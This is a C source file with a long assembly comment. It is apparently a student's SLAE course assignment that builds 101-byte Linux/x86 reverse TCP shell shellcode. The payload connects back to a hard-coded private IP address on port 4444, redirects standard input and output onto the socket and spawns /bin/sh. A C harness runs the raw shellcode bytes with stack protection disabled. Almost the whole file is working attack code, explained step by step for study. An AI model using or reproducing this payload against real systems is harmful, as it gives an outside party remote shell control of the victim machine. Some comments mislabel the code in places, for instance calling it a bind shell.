/* Name : Jonathan "Chops" Crosby * Email : me@securitychops.com * Twitter : @securitychops * Website : https://securitychops.com * Blog Post : https://securitychops.com/2018/05/21/slae-assignment-2-reverse-shell-tcp-shellcode.html * Student ID : SLAE-1250 * Assignment 2 : Reverse Shell TCP (Linux/x86) * Shellcode Length : 101 bytes * Shellcode Purpose: Initiate a reverse shell back to the ip address / port number on shellcode execution * * Assembly code to generate shellcode in provided C program: ; assemble/link assembly with: ; nasm -f elf32 -o shellcode.o shellcode.nasm ; ld -o shellcode shellcode.o global _start section .text _start: ; for all socket based calls we will need to use socketcall ; http://man7.org/linux/man-pages/man2/socketcall.2.html ; ; the relevant calls we will need to make will be: ; ----- ; SYS_SOCKET socket(2) 0x01 ; SYS_BIND bind(2) 0x02 ; SYS_CONNECT connect(2) 0x03 ; SYS_LISTEN listen(2) 0x04 ; SYS_ACCEPT accept(2) 0x05 ; ----- ; due to the way the registers need to be loaded up we will need to ; make the call to cocketcall by loading the following info into ; the following registers ; ----- ; eax : 0x66 (this is the value of socketcall) ; ebx : SYS_* value (0x01, etc) ; ecx : pointer to address on stack of parameters to subfunction ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; C version : int socket(domain, type , protocol) ; ASM version: socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP)) ; Returns : socketid into eax ; ----- ; Param Values: ; #define AF_INET 2 // Internet IP Protocol ; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html ; ; #define SOCK_STREAM 1 // stream (connection) socket ; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html ; ; #define IPPROTO_IP 0 ; If the protocol argument is zero, the default protocol for this address family and type shall be used. ; http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html ; ----- ; Registers before calling socketcall: ; ; /---eax---\ /---ebx---\ /--------ecx---------\ ; | 0x66 | | 0x01 | | byte, byte, byte | ; \---------/ \---------/ | 0x02 0x01 0x00 | ; \--------------------/ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; push params to the stack last first xor eax, eax ; zeroing out edx to set IPPROTO_IP to 0 push eax ; pushing IPPROTO_IP onto stack push byte 0x01 ; pushing SOCK_STREAM onto stack push byte 0x02 ; pushing AF_INET onto stack mov ecx, esp ; moving address of parameter structure into ecx xor eax, eax ; zeroing out eax mov al, 0x66 ; moving socketcall value into eax xor ebx, ebx ; zeroing out ebx mov bl, 0x01 ; moving SYS_SOCKET into ebx int 0x80 ; calling interupt which triggers socketcall ; registers after calling socktcall ; /----eax----\ /---ebx---\ /--------ecx---------\ ; | socketid | | 0x01 | | *address to struct | ; \------------/ \---------/ \---------------------/ ; eax now contains our socketid, since eax is volitale ; lets put it somewhere safe, like esi xchg eax, esi ; esi now contains our socketid ; and eax contains whatever was in esi ; /----eax----\ /---ebx---\ /--------ecx---------\ /---esi---\ ; | garbage | | 0x01 | | *address to struct | | socketid | ; \------------/ \---------/ \---------------------/ \---------/ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; C version : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress)); ; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress)); ; ----- ; Param Values: ; socketid // currently stored in esi ; ; &serverAddress // memory on the stack for sockaddr ; * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html ; * Values of this type must be cast to struct sockaddr for use with the socket interfaces ; ; this parameter is a struct of sockaddr_in which has the following structure ; ; struct sockaddr_in { ; sa_family_t sin_family; // address family: AF_INET ; in_port_t sin_port; // port in network byte order ; struct in_addr sin_addr; // internet address ; // Internet address. ; struct in_addr { ; uint32_t s_addr; // address in network byte order ; }; ; ; sa_family_t ; #define AF_INET 2 // Internet IP Protocol ; http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html ; ; in_port_t // port in network byte order / big endian ; https://en.wikipedia.org/wiki/Endianness ; port 9876 would be: word 0x2694 ; ; sin_addr // uint32_t ia 4 bytes ; ip bound to will be XXX.XXX.XXX.XXX ; ip would be: dword 0xFFFF or whatever IP will end up being reversed ; ; sizeof(serverAddress) // this value represents bytes, so 4 bytes is 32bits ; the value here is 16 bytes or 0x10h which is ultimaly 32bits ; ----- ; ; Registers before calling socketcall: ; ; /---eax---\ /---ebx---\ /--------------------------ecx-----------------------------\ ; | 0x66 | | 0x03 | | socketid, mem of server address struct, size of struct | ; \---------/ \---------/ | esi ecx 0x10 | ; \-------------------------|--------------------------------/ ; we need to create the first stack pointer for sockaddr_in xor edx, edx push edx mov byte [esp] , 0x0a ; 10 mov byte [esp+2], 0x07 ; 07 mov byte [esp+3], 0x11 ; 17 ; mov byte [esp+1], 0x00 left out on purpose since ; this would put 0x00 in the final shellcode, which ; is generally considered bad practice since null ; tends to cause issues when executing push word 0x5C11 ; port number (0x115C is 4444 so we push little endian) push word 0x02 ; AF_INET - which is 0x02 mov ecx, esp ; move stack pointer to ecx push byte 0x10 ; 16 byts long (or 32bit) push ecx ; pushing sockaddr_in into esp push esi ; sockid already in esi, so pushing it mov ecx, esp ; moving stack pointer to ecx ; from the previous call ebx is already 0x01 ; lets increment it by one inc ebx ; increasing ebx from 1 to 2 inc ebx ; and from 2 to 3 xor eax, eax ; zeroing out eax mov al, 0x66 ; moving socketcall value into eax int 0x80 ; calling interupt which triggers socketcall ; registers after calling socktcall ; /----eax----\ /---ebx---\ /--------ecx---------\ /---esi---\ ; | uneeded | | 0x03 | | *address to struct | | socketid | ; \------------/ \---------/ \---------------------/ \---------/ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; C version : int dup2(clientid, localDiscripToDuplicate); ; ASM version: standard syscall using same format as above ; ----- ; Param Values: ; clientid // currently stored in eax ; ; localDiscripToDuplicate // 0, 1, 2 file descriptors to duplicate ; ----- ; Registers before calling dup2: ; ; /---eax---\ /---ebx----\ /-------------ecx---------------\ ; | 0x3f | | sockid | | file descriptor to dplicate | ; \---------/ \----------/ | 2, 1 adnd 0 | ; \-------------------------------/ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; mov ebx, esi ; moving socketid from eax to ebx ; now we need a loop to run through for ; 0, 1 and 2 xor ecx, ecx ; zeroing out ecx mov cl, 0x03 ; moving syscall for dup2 dupin: xor eax, eax ; zeroing out eax mov al, 0x3f ; setting syscall value for dup2 dec cl ; decreasing loop counter since we ; will need to deal with only 2, 1 and 0 int 0x80 ; syscall triggering listen jnz dupin ; if the zero flag is not set then do it again ; registers after calling socktcall ; ; since we don't care about any return values ; we don't bother tracking register values ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; C version : int execve(const char *filename, char *const argv[], char *const envp[]); ; ASM version: standard syscall using same format as above ; ----- ; Param Values: ; filename // path of elf32 to execute ; ; argv // standard argv, first param is full path to elf32 null terminated ; ; envp // any environmental specific things, null in our case ; ----- ; Registers before calling execve: ; ; /---eax---\ /----------------ebx--------------------\ /-------------ecx---------------\ ; | 0x0B | | stack address if //bin/sh,0x00000000 | | stack address to 0x00000000 | ; \---------/ \---------------------------------------/ \-------------------------------/ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; call execve in order to complete the local bind shell ; execve("/bin/sh", argv[], envp[]); ; argv needs to be Address of /bin/sh, 0x00000000 ; this is because when you call something from bash, etc ; argv will contain the path of the executable within it ; before starting we look like: ; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET) ; First we need to get 0x00000000 into ebx somehow ; so lets zero out eax and push it to esp xor eax, eax ; zeroing out eax to make it 0x00000000 push eax ; pushing 0x00000000 onto the stack (esp) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; esp now looks like: 0x00000000; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; pushing "//bin/sh" (8 bytes and reverses due to little endian) push 0x68732f6e ; hs/n : 2f68732f into esp push 0x69622f2f ; ib// : 6e69622f into esp ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;esp now looks like: "//bin/sh,0x00000000"; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; since we have been pushing to the stack, we have been pushing to esp ; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve ; since esp contains exactly what we need we move it to ebx mov ebx, esp ; moving the param to ebx ; ebx now contains "//bin/sh,0x00000000" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we need to get 0x00000000 into edx push eax ; eax is still 0x00000000 so push it to esp mov edx, esp ; we need to move a 0x00000000 into ; the third parameter in edx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; the second parameter is needs to be "//bin/sh,0x00000000" ; which we can accomplish by moving ebx onto the stack ; and then moving esp into ecx since it will be on the stack push ebx ; pushing "//bin/sh,0x00000000" back to the stack mov ecx, esp ; moving the address of ebx (on the stack) to ecx ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000); ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; loading syscall execve mov al, 0x0B ; syscall for execve is 11 dec / 0x0B hex int 0x80 */ #include #include //compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack unsigned char code[] = \ "\x31\xc0\x50\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x96\x31\xd2\x52\xc6\x04\x24\x0a\xc6\x44\x24\x02\x07\xc6\x44\x24\x03\x11\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x43\x31\xc0\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }